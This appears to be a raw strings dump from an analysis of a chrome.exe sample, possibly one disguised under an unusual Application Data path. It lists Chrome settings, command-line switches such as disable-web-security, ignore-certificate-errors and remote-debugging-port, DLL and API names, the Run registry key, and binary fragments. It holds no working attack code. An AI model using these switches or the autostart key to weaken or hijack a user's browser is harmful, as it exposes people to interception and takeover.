cloud_print.user_settings.connectNewPrinters

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_timeout_sec

cloud_print.xmpp_ping_timeout_sec

cloud_print.user_settings

cloud_print.user_settings

cloud_print.user_settings.printers

cloud_print.user_settings.printers

cloud_print.submit_enabled

cloud_print.submit_enabled

net.max_connections_per_proxy

net.max_connections_per_proxy

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.images

profile.managed_default_content_settings.images

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.media_stream

profile.managed_default_content_settings.media_stream

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_blocked_for_urls

profile.managed_images_blocked_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_auto_select_certificate_for_urls

profile.managed_auto_select_certificate_for_urls

background_mode.enabled

background_mode.enabled

hardware_acceleration_mode.enabled

hardware_acceleration_mode.enabled

custom_handlers.registered_protocol_handlers

custom_handlers.registered_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.enabled

custom_handlers.enabled

policy.device_refresh_rate

policy.device_refresh_rate

policy.user_refresh_rate

policy.user_refresh_rate

recovery_component.version

recovery_component.version

component_updater.state

component_updater.state

media_galleries.gallery_id

media_galleries.gallery_id

media_galleries.remembered_galleries

media_galleries.remembered_galleries

network_profile.warnings_left

network_profile.warnings_left

network_profile.last_warning_time

network_profile.last_warning_time

policy.last_statistics_update

policy.last_statistics_update

app_list.profile

app_list.profile

app_list.show_on_relaunch

app_list.show_on_relaunch

app_list.launch_count

app_list.launch_count

app_list.last_launch_ping

app_list.last_launch_ping

app_list.app_launch_count

app_list.app_launch_count

app_list.last_app_launch_ping

app_list.last_app_launch_ping

module_conflict.bubble_shown

module_conflict.bubble_shown

settings.privacy.drm_salt

settings.privacy.drm_salt

settings.privacy.drm_enabled

settings.privacy.drm_enabled

nacl-loader-cmd-prefix

nacl-loader-cmd-prefix

allow-webui-compositing

allow-webui-compositing

disable-webgl

disable-webgl

blacklist-webgl

blacklist-webgl

disable-image-transport-surface

disable-image-transport-surface

speech-service-key

speech-service-key

disable-webaudio

disable-webaudio

enable-webrtc-aec-recordings

enable-webrtc-aec-recordings

enable-webrtc-tcp-server-socket

enable-webrtc-tcp-server-socket

enable-webrtc-hw-decoding

enable-webrtc-hw-decoding

enable-web-animations-css

enable-web-animations-css

enable-web-animations-svg

enable-web-animations-svg

enable-web-midi

enable-web-midi

disable-web-security

disable-web-security

enable-experimental-websocket

enable-experimental-websocket

enable-experimental-web-platform-features

enable-experimental-web-platform-features

disable-webkit-media-source

disable-webkit-media-source

enable-privileged-webgl-extensions

enable-privileged-webgl-extensions

enable-tcp-fastopen

enable-tcp-fastopen

enable-viewport

enable-viewport

ignore-certificate-errors

ignore-certificate-errors

remote-debugging-port

remote-debugging-port

renderer-cmd-prefix

renderer-cmd-prefix

enable-vtune-support

enable-vtune-support

testing-fixed-http-port

testing-fixed-http-port

testing-fixed-https-port

testing-fixed-https-port

utility-cmd-prefix

utility-cmd-prefix

webcore-log-channels

webcore-log-channels

zygote-cmd-prefix

zygote-cmd-prefix

enable-webgl-draft-extensions

enable-webgl-draft-extensions

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

portuguese-brazilian

portuguese-brazilian

GetProcessWindowStation

GetProcessWindowStation

operator

operator

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

user.js

user.js

full-memory-crash-report

full-memory-crash-report

CHROME_PROFILER_TIME

CHROME_PROFILER_TIME

%s-%Iu

%s-%Iu

ERROR_REPORT

ERROR_REPORT

metro_driver.dll

metro_driver.dll

user32.dll

user32.dll

GetInitialUrl

GetInitialUrl

PlatformFile.UnknownErrors.Windows

PlatformFile.UnknownErrors.Windows

0123456789

0123456789

Dictionary keys must be quoted.

Dictionary keys must be quoted.

Unsupported encoding. JSON must be UTF-8.

Unsupported encoding. JSON must be UTF-8.

.thunks

.thunks

.syzygy

.syzygy

Histogram: %s recorded %d samples

Histogram: %s recorded %d samples

(flags = 0x%x)

(flags = 0x%x)

\uX

\uX

Line: %i, column: %i, %s

Line: %i, column: %i, %s

(%d = %3.1f%%)

(%d = %3.1f%%)

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

ShellExecuteExA

ShellExecuteExA

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

USERENV.dll

USERENV.dll

WTSAPI32.dll

WTSAPI32.dll

VERSION.dll

VERSION.dll

WINMM.dll

WINMM.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CreateIoCompletionPort

CreateIoCompletionPort

WaitNamedPipeW

WaitNamedPipeW

TransactNamedPipe

TransactNamedPipe

SetNamedPipeHandleState

SetNamedPipeHandleState

GetProcessHandleCount

GetProcessHandleCount

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

RegCreateKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegEnumKeyExW

RegEnumKeyExW

ADVAPI32.dll

ADVAPI32.dll

CloseWindowStation

CloseWindowStation

CreateWindowStationW

CreateWindowStationW

SetProcessWindowStation

SetProcessWindowStation

chrome.exe

chrome.exe

SetActiveURL

SetActiveURL

SetCrashKeyValuePair

SetCrashKeyValuePair

zcÁ

zcÁ

#$( ....6/6////. )

#$( ....6/6////. )

2( ..////6//6

2( ..////6//6

( /.///6////

( /.///6////

(//.//6///.`

(//.//6///.`

55;;/?

55;;/?

55;;>;>/

55;;>;>/

)^%x>

)^%x>

@DQSSSSSQLLHHGG?332200--'

@DQSSSSSQLLHHGG?332200--'

BDRSSSSQLLPHH??332000-7.

BDRSSSSQLLPHH??332000-7.

6%%%%#%###!!

6%%%%#%###!!

122200.- *('%

122200.- *('%

35955220.- ('$

35955220.- ('$

79::995420.-*(&

79::995420.-*(&

|(==7:89?

|(==7:89?

ÞDDDCA)

ÞDDDCA)

K%8xHQ

K%8xHQ

R.RKi)

R.RKi)

9;:)

9;:)

5!5'5 50575

5!5'5 50575

> >$>(>,>0>4>

> >$>(>,>0>4>

0#3'3 3/33373;3?3

0#3'3 3/33373;3?3

: :$:(:,:0:

: :$:(:,:0:

= =$=(=,=0=

= =$=(=,=0=

>$>@>`>|>

>$>@>`>|>

\\.\pipe\GoogleCrashServices\

\\.\pipe\GoogleCrashServices\

\\.\pipe\ChromeCrashServices

\\.\pipe\ChromeCrashServices

ntdll.dll

ntdll.dll

error %u

error %u

unspecified-crash-key

unspecified-crash-key

hurl-chunk-%i

hurl-chunk-%i

prn-info-%d

prn-info-%d

registering_chrome

registering_chrome

echrmstp.exe

echrmstp.exe

app_host.exe

app_host.exe

chrome.dll

chrome.dll

chrome_child.dll

chrome_child.dll

npchrome_frame.dll

npchrome_frame.dll

chrome_frame_helper.exe

chrome_frame_helper.exe

ChromeFrameHelperWindowClass

ChromeFrameHelperWindowClass

ChromeFrameReadyMode

ChromeFrameReadyMode

chrome_launcher.exe

chrome_launcher.exe

new_chrome.exe

new_chrome.exe

old_chrome.exe

old_chrome.exe

delegate_execute.exe

delegate_execute.exe

nacl64.exe

nacl64.exe

setup.exe

setup.exe

InstallerSuccessLaunchCmdLine

InstallerSuccessLaunchCmdLine

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

Browse the web

Browse the web

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

{8A69D345-D564-463C-AFF1-A69D9E530F96}

{8A69D345-D564-463C-AFF1-A69D9E530F96}

{430FD4D0-B729-4F61-AA34-91526481799D}

{430FD4D0-B729-4F61-AA34-91526481799D}

GoogleUpdateSetup.exe

GoogleUpdateSetup.exe

CFEndTempOptOutCmd

CFEndTempOptOutCmd

CFOptInCmd

CFOptInCmd

CFOptOutCmd

CFOptOutCmd

CFTempOptOutCmd

CFTempOptOutCmd

UninstallCmdLine

UninstallCmdLine

WebAccessible

WebAccessible

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

ChromeCanary

ChromeCanary

BGoogle Chrome Canary

BGoogle Chrome Canary

-chrome

-chrome

-chromeframe

-chromeframe

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

hXXp://VVV.google.com/support/chrome/bin/request.py?hl=$1&contact_type=uninstall

hXXp://VVV.google.com/support/chrome/bin/request.py?hl=$1&contact_type=uninstall

BGoogle Chrome

BGoogle Chrome

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

%d.%d.%d

%d.%d.%d

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

BGoogle Chrome Frame

BGoogle Chrome Frame

Google\Chrome Frame

Google\Chrome Frame

Chrome in a Frame.

Chrome in a Frame.

Uninstall Chrome Frame

Uninstall Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}

{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}

BGoogle Chrome App Launcher

BGoogle Chrome App Launcher

ChromeAppList

ChromeAppList

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome App Launcher

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome App Launcher

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

Google Chrome binaries

Google Chrome binaries

%s\%s.dmp

%s\%s.dmp

rpcrt4.dll

rpcrt4.dll

dbghelp.dll

dbghelp.dll

x-x-x-xx-xxxxxx

x-x-x-xx-xxxxxx

HKEY_DYN_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_NLSTEXT

HKEY_PERFORMANCE_NLSTEXT

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

pipe\

pipe\

Ckernel32.dll

Ckernel32.dll

ALPC Port

ALPC Port

s0x%X

s0x%X

Cntdll.dll

Cntdll.dll

wow_helper.exe"

wow_helper.exe"

GSOFTWARE\Policies\Google\Chrome

GSOFTWARE\Policies\Google\Chrome

${windows}

${windows}

Chrome_StatusTrayWindow

Chrome_StatusTrayWindow

Reported Crashes.txt

Reported Crashes.txt

testing_interface.dll

testing_interface.dll

Certificate Revocation Lists

Certificate Revocation Lists

Custom Dictionary.txt

Custom Dictionary.txt

Login Data

Login Data

Origin Bound Certs

Origin Bound Certs

Cached Theme.pak

Cached Theme.pak

Web Applications

Web Applications

pepflashplayer.dll

pepflashplayer.dll

Software\Google\Chrome\Metro

Software\Google\Chrome\Metro

CHROME_METRO_NAV_SEARCH_REQUEST

CHROME_METRO_NAV_SEARCH_REQUEST

CHROME_METRO_GET_CURRENT_TAB_INFO

CHROME_METRO_GET_CURRENT_TAB_INFO

mscoree.dll

mscoree.dll

ADVAPI32.DLL

ADVAPI32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

nKERNEL32.DLL

nKERNEL32.DLL

WUSER32.DLL

WUSER32.DLL

DelegateExecute

DelegateExecute

\.exe

\.exe

URL Protocol

URL Protocol

webcal

webcal

https

https

.webp

.webp

.xhtml

.xhtml

.shtml

.shtml

.html

.html

Chrome HTML Document

Chrome HTML Document

ChromeHTML

ChromeHTML

Software\Microsoft\Windows\CurrentVersion\App Paths

Software\Microsoft\Windows\CurrentVersion\App Paths

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

gChrome_MessagePumpWindow_%p

gChrome_MessagePumpWindow_%p

HChrome_MessageWindow

HChrome_MessageWindow

Software\Classes\CLSID\{054AAE20-4BEA-4347-8A35-64A533254A9D}\LocalServer32

Software\Classes\CLSID\{054AAE20-4BEA-4347-8A35-64A533254A9D}\LocalServer32

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

\StringFileInfo\xx\%ls

\StringFileInfo\xx\%ls

debug.log

debug.log

.\debug.log

.\debug.log

debug_message.exe

debug_message.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe

Google Chrome

Google Chrome

30.0.1573.2

30.0.1573.2

chrome_exe

chrome_exe

chrome.exe_1308_rwx_3D20A000_00060000:

%A.VhE

%A.VhE

Phy&A.Vh9

Phy&A.Vh9

A.hUoA.

A.hUoA.

A.Vh%

A.Vh%

@.QVt

@.QVt

@.qht

@.qht

@.qit

@.qit